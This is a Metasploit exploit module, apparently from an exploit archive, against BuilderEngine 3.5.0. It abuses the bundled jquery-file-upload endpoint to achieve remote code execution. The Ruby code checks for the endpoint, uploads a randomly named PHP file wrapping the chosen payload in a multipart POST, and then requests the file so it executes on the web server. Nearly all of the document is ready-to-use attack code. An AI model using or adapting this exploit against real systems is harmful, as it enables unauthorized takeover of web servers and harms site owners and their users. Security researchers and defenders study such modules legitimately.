BuilderEngine Arbitrary File Upload / Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "BuilderEngine Arbitrary File Upload Vulnerability and execution",  
'Description' => %q{  
This module exploits a vulnerability found in BuilderEngine 3.5.0  
via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious  
file, which would result in arbitrary remote code execution under the context of  
the web server.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'metanubix', # PoC  
'Marco Rivoli' # Metasploit  
],  
'References' =>  
[  
['EDB', '40390']  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['BuilderEngine 3.5.0', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Sep 18 2016",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])  
])  
end  
  
def check  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')  
})  
  
if res && res.code == 200 && !res.body.blank?  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
uri = target_uri.path  
  
peer = "#{rhost}:#{rport}"  
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'  
data = Rex::MIME::Message.new  
payload_encoded = Rex::Text.rand_text_alpha(1)  
payload_encoded << "<?php "  
payload_encoded << payload.encoded  
payload_encoded << " ?>\r\n"  
data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")  
post_data = data.to_s  
  
res = send_request_cgi({  
'uri' => normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
})  
  
if res  
if res.code == 200 && res.body =~ /files|#{php_pagename}/  
print_good("Our payload is at: #{php_pagename}. Calling payload...")  
register_file_for_cleanup(php_pagename)  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")  
end  
else  
fail_with(Failure::Unknown, 'ERROR')  
end  
  
print_status("Calling payload...")  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(uri,'files/', php_pagename)  
)  
end  
end  
`